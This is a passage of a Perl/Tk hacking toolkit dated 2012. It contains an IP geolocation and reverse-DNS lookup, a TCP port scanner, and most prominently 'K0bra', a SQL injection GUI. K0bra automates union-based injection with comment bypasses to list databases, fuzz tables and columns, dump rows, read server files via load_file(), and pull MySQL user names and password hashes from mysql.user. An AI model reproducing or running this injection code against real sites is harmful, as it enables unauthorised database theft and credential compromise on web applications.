  432. -font       => "Impact1",
  433. -background => $color_fondo,
  434. -foreground => $color_texto
  435. )->place( -y => 140, -x => 23 );
  436. my $city = $p->Entry(
  437. -width      => 21,
  438. -background => $color_fondo,
  439. -foreground => $color_texto
  440. )->place( -y => 143, -x => 65 );
  441.  
  442. $p->Label(
  443. -text       => "Country : ",
  444. -font       => "Country",
  445. -background => $color_fondo,
  446. -foreground => $color_texto
  447. )->place( -y => 170, -x => 23 );
  448. my $country = $p->Entry(
  449. -width      => 17,
  450. -background => $color_fondo,
  451. -foreground => $color_texto
  452. )->place( -y => 173, -x => 90 );
  453.  
  454. $p->Label(
  455. -text       => "State : ",
  456. -font       => "Impact1",
  457. -background => $color_fondo,
  458. -foreground => $color_texto
  459. )->place( -y => 200, -x => 23 );
  460. my $state = $p->Entry(
  461. -width      => 20,
  462. -background => $color_fondo,
  463. -foreground => $color_texto
  464. )->place( -y => 203, -x => 75 );
  465.  
  466. $p->Label(
  467. -text       => "DNS Found",
  468. -font       => "Impact",
  469. -background => $color_fondo,
  470. -foreground => $color_texto
  471. )->place( -y => 80, -x => 285 );
  472. my $dns = $p->Listbox(
  473. -width      => 30,
  474. -background => $color_fondo,
  475. -foreground => $color_texto
  476. )->place( -x => 230, -y => 130 );
  477.  
  478. MainLoop;
  479.  
  480. sub st {
  481.  
  482. $city->configure( -text => " " );
  483. $country->configure( -text => " " );
  484. $state->configure( -text => " " );
  485. $dns->delete( "0.0", "end" );
  486.  
  487. my $target = $tar->get;
  488.  
  489. savefile( "info-logs.txt", "[+] Target : $target" );
  490.  
  491. my $get    = gethostbyname($target);
  492. my $target = inet_ntoa($get);
  493.  
  494. savefile( "info-logs.txt", "[+] IP : $target\n" );
  495.  
  496. $total = "http://www.melissadata.com/lookups/iplocation.asp?ipaddress=$target";
  497.  
  498. $re = toma($total);
  499.  
  500. if ( $re =~ /City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  501. savefile( "info-logs.txt", "[+] City : $2" );
  502. $city->configure( -text => $2 );
  503. }
  504. else {
  505. $city->configure( -text => "Not Found" );
  506. }
  507. if ( $re =~ /Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  508. savefile( "info-logs.txt", "[+] Country : $2" );
  509. $country->configure( -text => $2 );
  510. print "[+] Country : $2\n";
  511. }
  512. else {
  513. $country->configure( -text => "Not Found" );
  514. }
  515. if ( $re =~ /State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  516. savefile( "info-logs.txt", "[+] State of Region : $2" );
  517. $state->configure( -text => $2 );
  518. }
  519. else {
  520. $state->configure( -text => "Not Found" );
  521. }
  522.  
  523. my $code = toma( "http://www.ip-adress.com/reverse_ip/" . $target );
  524.  
  525. savefile( "info-logs.txt", "" );
  526.  
  527. while ( $code =~ /whois\/(.*?)\">Whois/g ) {
  528. my $dnsa = $1;
  529. chomp $dnsa;
  530. savefile( "info-logs.txt", "[+] DNS Found : $dnsa" );
  531. $dns->insert( "end", $dnsa );
  532. }
  533. savefile( "info-logs.txt", "\n######################\n" );
  534. }
  535.  
  536. } #End
  537.  
  538. sub menu_port { #Start
  539.  
  540. my $kax = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  541. $kax->geometry("422x130+20+20");
  542. $kax->resizable(0,0);
  543. $kax->title("Scan Port 0.6 || Coded By Doddy H");
  544.  
  545. $kax->Label(-text=>"Host : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>20);
  546. my $hostx = $kax->Entry(-width=>30,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>68,-y=>26);
  547. $kax->Label(-text=>"From port : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>50);
  548. my $startx = $kax->Entry(-width=>8,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>100,-y=>55);
  549. $kax->Label(-text=>"To : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>170,-y=>50);
  550. my $endx = $kax->Entry(-width=>8,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>200,-y=>55);
  551.  
  552. $kax->Label(-text=>"Progress : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>84);
  553. my $tatus = $kax->Entry(-width=>8,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>100,-y=>90);
  554. $kax->Button(-text=>"Fast",-width=>6,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,-command=>\&scanuno)->place(-x=>158,-y=>88);
  555. $kax->Button(-text=>"Full",-width=>6,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,-command=>\&scandos)->place(-x=>208,-y=>88);
  556.  
  557. $kax->Label(-text=>"Port Found",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>305,-y=>20);
  558. my $porters = $kax->Listbox(-width=>20,-height=>4,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>280,-y=>50);
  559.  
  560. MainLoop;
  561.  
  562. sub scanuno {
  563.  
  564. my %ports = ("21"=>"ftp",
  565. "22"=>"ssh",
  566. "25"=>"smtp",
  567. "80"=>"http",
  568. "110"=>"pop3",
  569. "3306"=>"mysql"
  570. );
  571.  
  572.  
  573. $porters->delete("0.0","end");
  574. $tatus->configure(-text=>" ");
  575.  
  576. for my $port(keys %ports) {
  577. $kax->update;
  578. $tatus->configure(-text=>$port);
  579. if (new IO::Socket::INET(PeerAddr => $hostx->get,PeerPort => $port,Proto => "tcp",Timeout  => 0.5)) {
  580. $porters->insert("end",$port);
  581. }
  582. }
  583. $tatus->configure(-text=>" ");
  584. }
  585.  
  586. sub scandos {
  587.  
  588. $porters->delete("0.0","end");
  589. $tatus->configure(-text=>" ");
  590.  
  591. for my $port($startx->get..$endx->get) {
  592. $kax->update;
  593. $tatus->configure(-text=>$port);
  594. if (new IO::Socket::INET(PeerAddr => $hostx->get,PeerPort => $port,Proto => "tcp",Timeout  => 0.5)) {
  595. $porters->insert("end",$port);
  596. }
  597. }
  598. $tatus->configure(-text=>" ");
  599. }
  600.  
  601. } #End
  602.  
  603. sub menu_kobra { #Start
  604.  
  605. installer();
  606.  
  607. my $logo = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  608. $logo->title("K0bra 1.6 (C) Doddy Hackman 2012");
  609. $logo->geometry("500x620+20+20");
  610. $logo->resizable(0,0);
  611.  
  612. $menula = $logo->Frame(-relief=>"sunken",-bd=>1,-background=>$color_fondo,-foreground=>$color_texto);
  613. my $menulnowaxm = $menula->Menubutton(-text=>"Options",-underline=>1,-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto)->pack(-side=>"left");
  614. my $aboutnowaxm = $menula->Menubutton(-text=>"About",-underline=>1,-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto)->pack(-side=>"left");
  615. my $exitnowaxm = $menula->Menubutton(-text=>"Exit",-underline=>1,-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto)->pack(-side=>"left");
  616. $menula->pack(-side=>"top",-fill=>"x");
  617.  
  618. $menulnowaxm->command(-label=>"Scan",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&nownow);
  619. $menulnowaxm->command(-label=>"Scanner without checking",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&nownownow);
  620. $menulnowaxm->command(-label=>"Get Details",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&details);
  621. $menulnowaxm->command(-label=>"Fuzz Tables",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&fuzz);
  622. $menulnowaxm->command(-label=>"Fuzz Columns",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&fuzzcol);
  623. $menulnowaxm->command(-label=>"Mysql User",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&mynow);
  624. $menulnowaxm->command(-label=>"load_file",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&myfile);
  625. $menulnowaxm->command(-label=>"Dump",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&dum);
  626. $menulnowaxm->command(-label=>"Hex",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&per1);
  627. $menulnowaxm->command(-label=>"ASCII",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&per2);
  628. $menulnowaxm->command(-label=>"Logs",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&openlogsk);
  629.  
  630. $aboutnowaxm->command(-label=>"About",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&aboutxa);
  631.  
  632. $exitnowaxm->command(-label=>"Exit",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&exitnow);
  633.  
  634. $logo->Label(-text=>"Target : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>40);
  635. my $targetero = $logo->Entry(-width=>65,-text=>"http://127.0.0.1:8080/sql.php?id=1",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>43,-x=>80);
  636.  
  637. $logo->Label(-text=>"Bypass : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>80);
  638.  
  639. $logo->Optionmenu(-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto,
  640. -options => [["--"=>"--"], ["/*"=>"/*"],["%20"=>"%20"]],-variable => \$var,-textvariable =>\$bypass)->place(-x=>90,-y=>82);
  641.  
  642. $logo->Label(-text=>"Details : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>190,-x=>60);
  643. my $informatero = $logo->Listbox(-height=>10,-width=>50,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>150,-x=>130);
  644.  
  645. $logo->Label(-text=>"Databases",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>340,-x=>65);
  646. $logo->Label(-text=>"Tables",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>340,-x=>215);
  647. $logo->Label(-text=>"Columns",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>340,-x=>345);
  648.  
  649. my $datero = $logo->Listbox(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>380,-x=>40);
  650. my $tablero = $logo->Listbox(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>380,-x=>180);
  651. my $columnero = $logo->Listbox(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>380,-x=>320);
  652.  
  653. $logo->Label(-text=>"Status : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>100,-y=>560);
  654. my $tatus = $logo->Entry(-width=>35,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>160,-y=>563);
  655.  
  656. $datero->bind("<Double-1>",[\&getdbs]);
  657. $tablero->bind("<Double-1>",[\&schematablesdb]);
  658. $columnero->bind("<Double-1>",[\&schemacolumnsdb]);
  659.  
  660. MainLoop;
  661.  
  662. sub nownownow {
  663. motor($targetero->get,$bypass);
  664. }
  665.  
  666. sub fuzz {
  667.  
  668. my $page = $targetero->get;
  669. my $save = partimealmedio($page);
  670.  
  671. $tablero->delete("0.0","end");
  672.  
  673. ($pass1,$pass2) = &bypass($bypass);
  674. my $count = "0";
  675. savefile($save.".txt","\n");
  676. if ($page =~/(.*)hackman(.*)/g) {
  677. my $start = $1; my $end = $2;
  678. for my $table(@buscar2) {
  679. chomp $table;
  680. $tatus->configure(-text=>"Fuzzing Tables ...");
  681. $logo->update;
  682. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))";
  683. $injection = $start.$concat.$end.$pass1."from".$pass1.$table.$pass2;
  684. $code = toma($injection);
  685. if ($code =~/ERTOR854/g) {
  686. $count++;
  687. $tablero->insert("end",$table);
  688. savefile($save.".txt","[Table Found] : $table");
  689. }}}
  690. $tatus->configure(-text=>" ");
  691. }
  692.  
  693. sub fuzzcol {
  694.  
  695. my $page = $targetero->get;
  696. my $save = partimealmedio($page);
  697. ($pass1,$pass2) = &bypass($bypass);
  698.  
  699. $columnero->delete("0.0","end");
  700.  
  701. $d = $tablero->curselection();
  702. for my $id (@$d) {
  703. my $table = $tablero->get($id);
  704.  
  705. my $count = "0";
  706. savefile($save.".txt","\n");
  707. if ($page =~/(.*)hackman(.*)/) {
  708. my $start = $1; my $end = $2;
  709. savefile($save.".txt","[Table] : $table");
  710. for my $columns(@buscar1) {
  711. chomp $columns;
  712. $tatus->configure(-text=>"Fuzzing columns ...");
  713. $logo->update;
  714. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$columns,char(69,82,84,79,82,56,53,52))))";
  715. $code = toma($start.$concat.$end.$pass1."from".$pass1.$table.$pass2);
  716. if ($code =~/ERTOR854/g) {
  717. $columnero->insert("end",$columns);
  718. savefile($save.".txt","[Column Found] : $columns");
  719. }
  720. }
  721. }
  722. }
  723. $tatus->configure(-text=>" ");
  724. }
  725.  
  726. sub per1 {
  727.  
  728. my $he = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  729. $he->title("Hex Converter (C) Doddy Hackman 2012");
  730. $he->geometry("420x70+20+20");
  731. $he->resizable(0,0);
  732. $he->Label(-text=>"Text : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>20);
  733. my $cam = $he->Entry(-width=>30,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>24,-x=>65);
  734. $he->Button(-text=>"Encode",-width=>10,-command=>\&paso1,-activebackground=>$color_texto,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>23,-x=>255);
  735. $he->Button(-text=>"Decode",-width=>10,-command=>\&paso2,-activebackground=>$color_texto,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>23,-x=>325);
  736.  
  737. sub paso1 {
  738. my $caca = $cam->get();
  739. chomp $caca;
  740. $cam->configure(-text=>encode($caca));
  741. }
  742.  
  743. sub paso2 {
  744. my $caca = $cam->get();
  745. chomp $caca;
  746. $cam->configure(-text=>decode($caca));
  747. }
  748. }
  749.  
  750.  
  751. sub per2 {
  752.  
  753. my $hexae = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  754. $hexae->title("Ascii Converter (C) Doddy Hackman 2012");
  755. $hexae->geometry("420x70+20+20");
  756. $hexae->resizable(0,0);
  757. $hexae->Label(-text=>"Text : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>20);
  758. my $cama = $hexae->Entry(-width=>30,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>24,-x=>65);
  759. $hexae->Button(-text=>"Encode",-width=>10,-command=>\&paso3,-activebackground=>$color_texto,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>23,-x=>255);
  760. $hexae->Button(-text=>"Decode",-width=>10,-command=>\&paso4,-activebackground=>$color_texto,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>23,-x=>325);
  761.  
  762.  
  763. sub paso3 {
  764. my $caca = $cama->get();
  765. chomp $caca;
  766. $cama->configure(-text=>ascii($caca));
  767. }
  768.  
  769. sub paso4 {
  770. my $caca = $cama->get();
  771. chomp $caca;
  772. $cama->configure(-text=>ascii_de($caca));
  773. }
  774. }
  775.  
  776. sub dum {
  777.  
  778. my $pa = $targetero->get;
  779.  
  780. $max = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  781. $max->title("Dump Values");
  782. $max->geometry("480x380+20+20");
  783. $max->resizable(0,0);
  784.  
  785. $max->Label(-text=>"Target : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>50,-y=>20);
  786. my $tata = $max->Entry(-width=>40,-text=>$pa,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>23,-x=>110);
  787.  
  788. $max->Label(-text=>"Table : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>50,-y=>60);
  789. my $tato = $max->Entry(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>105,-y=>63);
  790.  
  791. $max->Label(-text=>"Column1 : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>90,-x=>50);
  792. my $tatu = $max->Entry(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>130,-y=>93);
  793.  
  794. $max->Label(-text=>"Column2 : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>130,-x=>50);
  795. my $tita= $max->Entry(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>133,-x=>130);
  796.  
  797.  
  798. $max->Button(-width=>10,-text=>"Extract",-command=>\&tengor,-activebackground=>$color_texto,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>20,-x=>360);
  799.  
  800. $max->Label(-text=>"Column1",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>100,-y=>180);
  801. $max->Label(-text=>"Column2",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>300,-y=>180);
  802.  
  803. my $duta1 = $max->Listbox(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>210,-x=>70);
  804. my $duta2 = $max->Listbox(-width=>23,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>210,-x=>260);
  805.  
  806.  
  807. sub tengor {
  808.  
  809. $duta1->delete("0.0","end");
  810. $duta2->delete("0.0","end");
  811.  
  812. my $page = $tata->get;
  813. my $tabla = $tato->get;
  814. my $col1 = $tatu->get;
  815. my $col2 = $tita->get;
  816.  
  817. my $save = partimealmedio($page);
  818.  
  819. savefile($save.".txt","\n");
  820.  
  821. ($pass1,$pass2) = &bypass($bypass);
  822. if ($page=~/(.*)hackman(.*)/){
  823. my $start = $1;
  824. my $end = $2;
  825. $concatx = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($col1),char(69,82,84,79,82,56,53,52))))";
  826. $val_code = toma($start.$concatx.$end.$pass1."from".$pass1.$tabla.$pass2);
  827. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$col1,char(69,82,84,79,82,56,53,52),$col2,char(69,82,84,79,82,56,53,52))))";
  828. if ($val_code=~/ERTOR854(.*)ERTOR854/ig) {
  829. $tota = $1;
  830. savefile($save.".txt","[Table] : $tabla");
  831. savefile($save.".txt","[+] Length of the rows: $tota\n");
  832. savefile($save.".txt","[$col1] [$col2]\n");
  833. for my $limit(0..$tota) {
  834. chomp $limit;
  835. $logo->update;
  836. $injection = toma($start.$concat.$end.$pass1."from".$pass1.$tabla.$pass1."limit".$pass1.$limit.",1".$pass2);
  837. if ($injection=~/ERTOR854(.*)ERTOR854(.*)ERTOR854/ig) {
  838. savefile($save.".txt","[$col1] : $1   [$col2] : $2");
  839. $duta1->insert("end",$1);
  840. $duta2->insert("end",$2);
  841. } else {
  842. last;
  843. }}
  844. } else {
  845. $tatus->configure(-text=>"Error");
  846. }}}}
  847.  
  848. sub myfile {
  849.  
  850. my $pag = $targetero->get;
  851.  
  852. $loa = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  853. $loa->title("load_file helper");
  854. $loa->geometry("380x410+20+20");
  855. $loa->resizable(0,0);
  856.  
  857. $loa->Label(-text=>"Target : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>20);
  858. my $aa = $loa->Entry(-width=>40,-text=>$pag,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>23,-x=>80);
  859. $loa->Label(-text=>"File : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>60,-x=>23);
  860. my $tea = $loa->Entry(-width=>20,-text=>"C:/xampp/htdocs/aca.txt",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>63,-x=>63);
  861. $loa->Button(-text=>"Encode",-width=>8,-command=>\&eno,-activebackground=>$color_texto,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>62,-x=>200);
  862. $loa->Button(-text=>"Show",-width=>8,-command=>\&ena,-activebackground=>$color_texto,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>62,-x=>263);
  863.  
  864. $loa->Label(-text=>"Output",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>160,-y=>130);
  865. my $mo = $loa->ROText(-width=>45,-height=>15,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>170,-x=>25);
  866.  
  867. sub eno {
  868. my $t = $tea->get;
  869. if ($t=~/0x/) {
  870. $tea->configure(-text=>decode($t));
  871. } else {
  872. $tea->configure(-text=>encode($t));
  873. }
  874. }
  875.  
  876. sub ena {
  877.  
  878. $mo->delete("0.0","end");
  879.  
  880. my $page = $aa->get;
  881. my $save = partimealmedio($page);
  882.  
  883. savefile($save.".txt","\n");
  884. ($pass1,$pass2) = &bypass($bypass);
  885. if ($page =~/(.*)hackman(.*)/g) {
  886. my $start = $1; my $end = $2;
  887. my $file = $tea->get;
  888. chomp $file;
  889. $concat = "unhex(hex(concat(char(107,48,98,114,97),load_file(".$file."),char(107,48,98,114,97))))";
  890. my $code = toma($start.$concat.$end.$pass2);
  891. chomp $code;
  892.  
  893. if ($code=~/k0bra(.*)k0bra/s) {
  894. my $word = $1;
  895. $mo->insert("end",$word);
  896. savefile($save.".txt","[File Found] : $file");
  897. savefile($save.".txt","\n[Source Start]\n");
  898. savefile($save.".txt","$word");
  899. savefile($save.".txt","\n[Source End]\n");
  900. } else {
  901. $tatus->configure(-text=>"Error");
  902. }}}}
  903.  
  904. sub mynow {
  905.  
  906. my $p = $targetero->get;
  907.  
  908. $mi = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  909. $mi->title("Mysql Extractor");
  910. $mi->geometry("500x300+20+20");
  911. $mi->resizable(0,0);
  912.  
  913. $mi->Label(-text=>"Target : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>50,-y=>20);
  914. my $guix = $mi->Entry(-width=>40,-text=>$p,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>23,-x=>110);
  915. $mi->Button(-width=>10,-text=>"Extract",-command=>\&tengorax,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto)->place(-y=>20,-x=>360);
  916.  
  917. $mi->Label(-text=>"Host",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>60,-y=>90);
  918. $mi->Label(-text=>"User",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>200,-y=>90);
  919. $mi->Label(-text=>"Password",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>360,-y=>90);
  920.  
  921. my $hostero = $mi->Listbox(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>130,-x=>40);
  922. my $usero = $mi->Listbox(-width=>23,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>130,-x=>180);
  923. my $pasero = $mi->Listbox(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>130,-x=>340);
  924.  
  925. sub tengorax {
  926.  
  927. my $page = $guix->get;
  928. my $save = partimealmedio($page);
  929.  
  930. my $cop = $page;
  931. my $cop1 = $page;
  932.  
  933. savefile($save.".txt","\n");
  934.  
  935. ($pass1,$pass2) = &bypass($bypass);
  936. $page =~s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
  937. $code = toma($page.$pass1."from".$pass1."mysql.user".$pass2);
  938. if ($code=~/RATSXPDOWN/ig){
  939. $cop1 =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  940. $code1 = toma($cop1.$pass1."from".$pass1."mysql.user".$pass2);
  941. if ($code1=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  942. $mi->update;
  943. savefile($save.".txt","\n[+] Users mysql Found : $1\n");
  944. for my $limit(0..$1) {
  945. $mi->update;
  946. $cop =~s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
  947. $code = toma($cop.$pass1."from".$pass1."mysql.user".$pass1."limit".$pass1.$limit.",1".$pass2);
  948. if ($code=~/RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig) {
  949. $mi->update;
  950. $hostero->insert("end",$1);
  951. $usero->insert("end",$2);
  952. $pasero->insert("end",$3);
  953. savefile($save.".txt","[Host] : $1 [User] : $2 [Password] : $3");
  954. } else {
  955. last;
  956. }}}
  957. } else {
  958. $tatus->configure(-text=>"Error");
  959. $logo->update;
  960. }
  961. }
  962. }
  963.  
  964. sub schemacolumnsdb {
  965.  
  966. $columnero->delete("0.0","end");
  967.  
  968. my $page = $targetero->get;
  969. my $save = partimealmedio($page);
  970.  
  971. $d = $tablero->curselection();
  972.  
  973. for my $id (@$d) {
  974. my $da = $tablero->get($id);
  975.  
  976. if ($da=~/(.*)\.(.*)/) {
  977. my ($db,$table) = ($1,$2);
  978.  
  979. my $page3 = $page;
  980. my $page4 = $page;
  981.  
  982. savefile($save.".txt","\n");
  983. ($pass1,$pass2) = &bypass($bypass);
  984. savefile($save.".txt","\n[DB] : $db");
  985. savefile($save.".txt","[Table] : $table");
  986. $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  987. $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii
  988. ($db).")".$pass2);
  989. if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  990. savefile($save.".txt","[Columns length : $1 ]\n");
  991. my $si = $1;
  992. chomp $si;
  993. $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  994. $real = "1";
  995. for my $limit2(0..$si) {
  996. $tatus->configure(-text=>"Getting columns ...");
  997. $logo->update;
  998. $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii
  999. ($db).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
  1000. if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  1001. $columnero->insert("end",$1);
  1002. savefile($save.".txt","[Column $real] : $1");
  1003. $real++;
  1004. }
  1005. }
  1006. $tatus->configure(-text=>" ");
  1007. } else {
  1008. msg("K0bra 1.2","information_schema not found");
  1009. }
  1010. }
  1011. }
  1012. }
  1013.  
  1014. sub schematablesdb {
  1015.  
  1016. $tablero->delete("0.0","end");
  1017.  
  1018. my $page = $targetero->get;
  1019. my $save = partimealmedio($page);
  1020.  
  1021. $d = $datero->curselection();
  1022.  
  1023. for my $id (@$d) {
  1024. my $db = $datero->get($id);
  1025.  
  1026. $tatus->configure(-text=>"Getting tables ...");
  1027. $logo->update;
  1028.  
  1029. my $page1 = $page;
  1030. savefile($save.".txt","\n");
  1031. ($pass1,$pass2) = &bypass($bypass);
  1032.  
  1033. savefile($save.".txt","[DB] : $db");
  1034. $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1035. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1036. $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2);
  1037. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
  1038. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {  
  1039. $logo->update;
  1040. savefile($save.".txt","[+] Tables Length :  $1\n");
  1041. my $limit = $1;
  1042. $real = "1";
  1043. for my $lim(0..$limit) {
  1044. $logo->update;
  1045. $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2);
  1046. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
  1047. if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  1048. my $table = $1;
  1049. chomp $table;
  1050. savefile($save.".txt","[Table $real Found : $table ]");
  1051. $tablero->insert("end",$db.".".$table);
  1052. $real++;
  1053. }}
  1054. $tatus->configure(-text=>" ");
  1055. } else {
  1056. msg("K0bra 1.2","information_schema not found");
  1057. }}}
  1058.  
  1059. sub getdbs {
  1060.  
  1061. my $page = $targetero->get;
  1062. my $save = partimealmedio($page);
  1063.  
  1064. my $page1 = $page;
  1065.  
  1066. $datero->delete("0.0","end");
  1067.  
  1068. savefile($save.".txt","\n");
  1069.  
  1070. $tatus->configure(-text=>"Searching DBS ...");
  1071. $logo->update;
  1072. ($pass1,$pass2) = &bypass($bypass);
  1073. $page=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1074. $code = toma($page.$pass1."from".$pass1."information_schema.schemata");
  1075. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  1076. my $limita = $1;
  1077. $tatus->configure(-text=>"Databases Length : $limita");
  1078. $logo->update;
  1079. savefile($save.".txt","[+] Databases Length : $limita\n");
